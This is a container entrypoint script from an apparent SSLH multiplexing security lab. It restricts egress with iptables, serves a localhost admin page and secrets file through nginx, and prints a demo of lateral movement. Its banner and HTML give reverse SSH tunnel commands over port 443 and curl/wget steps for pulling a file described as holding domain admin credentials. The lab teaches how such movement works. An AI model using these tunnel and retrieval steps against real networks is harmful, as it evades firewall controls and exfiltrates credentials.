Files
sslh-multiplex-lab/internal/docker/client/entrypoint.sh
2026-01-29 00:03:02 +00:00

387 lines
14 KiB
Bash
Executable File

#!/bin/sh
# Don't use set -e as we want to continue even if some commands fail
# Force use of public DNS servers to avoid Docker DNS cache issues
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
# Using public DNS ensures fresh lookups
cat > /etc/resolv.conf <<EOF
nameserver 8.8.8.8
nameserver 1.1.1.1
nameserver 8.8.4.4
EOF
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
# Use REJECT instead of DROP so connections fail immediately
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
# Test DNS resolution to ensure it works
if ! nslookup google.com >/dev/null 2>&1; then
echo "Warning: DNS resolution test failed. DNS may not be working properly."
fi
# Clear DNS cache if nscd is available
if command -v nscd >/dev/null 2>&1; then
nscd -i hosts 2>/dev/null || true
nscd -i passwd 2>/dev/null || true
nscd -i group 2>/dev/null || true
fi
# Force DNS refresh by clearing any local DNS cache
# This ensures subdomain resolution works immediately
if [ -f /etc/nsswitch.conf ]; then
# Ensure hosts: files dns is set for proper DNS resolution
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
fi
fi
# Test DNS resolution for common domains to verify DNS is working
echo "Testing DNS resolution..."
if nslookup google.com >/dev/null 2>&1; then
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
else
echo "WARNING: DNS resolution test failed"
fi
# Function to start nginx HTTP server
start_http_server() {
if command -v nginx >/dev/null 2>&1; then
# Create web root directory
mkdir -p /var/www/html
# Create nginx configuration for port 8888
# Create sites-available directory if it doesn't exist
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
# Create a minimal nginx config that works
# Use default_server to ensure it's used
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
server {
listen 127.0.0.1:8888 default_server;
server_name localhost;
root /var/www/html;
index index.html;
access_log /var/log/nginx/lab-access.log;
error_log /var/log/nginx/lab-error.log;
# Ensure we can serve files
location / {
try_files $uri $uri/ =404;
}
# Serve secrets.txt as plain text
location /secrets.txt {
default_type text/plain;
try_files $uri =404;
}
}
NGINX
# Enable the site
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
# Ensure nginx main config includes sites-enabled
# Ubuntu nginx-light should already have this, but verify and fix if needed
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
# Backup original config
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
# Add include directive in http block
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
/^[[:space:]]*include[[:space:]]*mime.types/a\
include /etc/nginx/sites-enabled/*;
}
}' /etc/nginx/nginx.conf 2>/dev/null || \
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
fi
# Create admin page
cat > /var/www/html/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Lab Admin Panel</title>
<meta charset="utf-8">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
margin: 0;
padding: 20px;
color: #333;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 10px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}
h1 {
color: #667eea;
border-bottom: 3px solid #764ba2;
padding-bottom: 10px;
}
.info-box {
background: #f5f5f5;
border-left: 4px solid #667eea;
padding: 15px;
margin: 20px 0;
border-radius: 5px;
}
.link {
display: inline-block;
margin: 10px 10px 10px 0;
padding: 10px 20px;
background: #667eea;
color: white;
text-decoration: none;
border-radius: 5px;
transition: background 0.3s;
}
.link:hover {
background: #764ba2;
}
code {
background: #f5f5f5;
padding: 2px 6px;
border-radius: 3px;
font-family: 'Courier New', monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Lab Admin Panel</h1>
<div class="info-box">
<h2>System Information</h2>
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
</div>
<div class="info-box">
<h2>Available Resources</h2>
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
<a href="/secrets.txt" class="link">View Secrets File</a>
</div>
<div class="info-box">
<h2>Lateral Movement Demo</h2>
<p>This demonstrates accessing container resources from a compromised VPS:</p>
<ol>
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
<li>Or browse: <code>curl http://localhost:2222/</code></li>
</ol>
</div>
</div>
</body>
</html>
HTML
# Copy secrets.txt to web root
if [ -f /secrets.txt ]; then
cp /secrets.txt /var/www/html/secrets.txt
else
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
fi
# Start nginx on port 8888
echo "Starting nginx on port 8888..."
# Create nginx log directory if it doesn't exist
mkdir -p /var/log/nginx
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
# Ensure nginx can write to log directory
chmod 755 /var/log/nginx 2>/dev/null || true
# Kill any existing nginx processes
pkill -9 nginx 2>/dev/null || true
sleep 1
# Test nginx configuration
nginx -t >/tmp/nginx-test.log 2>&1
TEST_RESULT=$?
if [ $TEST_RESULT -ne 0 ]; then
echo "ERROR: nginx configuration test failed"
cat /tmp/nginx-test.log
echo " Main config:"
cat /etc/nginx/nginx.conf | head -30
echo " Site config:"
cat /etc/nginx/sites-available/lab-server
return 1
fi
echo " Nginx configuration test passed"
# Start nginx as daemon
# Redirect stderr to capture any startup errors
nginx 2>/tmp/nginx-start-err.log || {
echo "ERROR: nginx failed to start (exit code: $?)"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
}
# Wait for nginx to fully start and verify it's running
for i in 1 2 3 4 5; do
if pgrep -x nginx >/dev/null 2>&1; then
break
fi
if [ $i -eq 5 ]; then
echo "ERROR: nginx process not found after start attempts"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
fi
sleep 1
done
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
# Wait a bit more for nginx to fully initialize and bind to port
sleep 2
# Verify nginx master and worker processes
NGINX_COUNT=$(pgrep -x nginx | wc -l)
if [ "$NGINX_COUNT" -lt 2 ]; then
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
fi
# Verify it's listening on port 8888
LISTENING=0
if command -v ss >/dev/null 2>&1; then
if ss -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
elif command -v netstat >/dev/null 2>&1; then
if netstat -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
fi
if [ "$LISTENING" -eq 1 ]; then
echo "HTTP server (nginx) started on 127.0.0.1:8888"
echo " Admin page: http://127.0.0.1:8888/"
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
# Test that it actually responds with retries
if command -v curl >/dev/null 2>&1; then
RESPONDING=0
for i in 1 2 3; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
if echo "$HTTP_CODE" | grep -qE "200|404"; then
RESPONDING=1
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
break
fi
sleep 1
done
if [ "$RESPONDING" -eq 0 ]; then
echo " WARNING: Server listening but not responding to HTTP requests"
echo " Test: curl -v http://127.0.0.1:8888/"
fi
fi
return 0
else
echo "WARNING: nginx is running but not listening on port 8888"
echo " Process status:"
pgrep -a nginx || true
echo " Listening ports:"
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
echo " Error log:"
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
return 1
fi
else
echo "ERROR: nginx not available"
return 1
fi
}
# Start lightweight HTTP server on localhost:8888
# This serves a demo admin page and secrets.txt via reverse tunnel
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
# Ensure secrets.txt exists
if [ ! -f /secrets.txt ]; then
echo "WARNING: /secrets.txt not found, creating placeholder"
echo "File not found - secrets.txt should be mounted" > /secrets.txt
fi
# Start the HTTP server (nginx)
echo "Starting HTTP server (nginx)..."
if start_http_server; then
echo "HTTP server ready for reverse tunnel access"
else
echo "ERROR: Failed to start HTTP server"
echo " Check logs: cat /var/log/nginx/error.log"
echo " Check nginx config: nginx -t"
echo " Check if port is in use: ss -ln | grep 8888"
fi
# Display connection examples
cat <<EOF
SSLH Multiplex Lab - Client Container
======================================
This container has restricted network access:
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
- Only UDP port 53 (outbound) is allowed - for DNS queries
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
Example connections:
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
- HTTPS: curl https://chaosengineering.cc
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
Troubleshooting DNS:
- If DNS resolution fails, use the server IP address directly
- Server information is available in: /server-info.txt
- Test DNS: nslookup google.com
- Check DNS config: cat /etc/resolv.conf
Example with IP (if DNS fails):
cat /server-info.txt
ssh testuser@<server-ip> -p 443
WireGuard configs are available in /wireguard/
SSH keys are available in /keys/
Domain admin credentials are available in /secrets.txt
Lateral Movement Demo:
- Establish SSH reverse shell to VPS:
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
- Keep that SSH session open (the tunnel stays active while connected)
- From the VPS shell:
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
- This demonstrates lateral movement: accessing container resources from compromised VPS
- Note: The reverse tunnel must stay active (keep SSH session open)
Troubleshooting:
- Verify server is running: ps aux | grep nginx
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
- Check server logs: cat /var/log/nginx/error.log
- Check nginx config: nginx -t
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
EOF
exec "$@"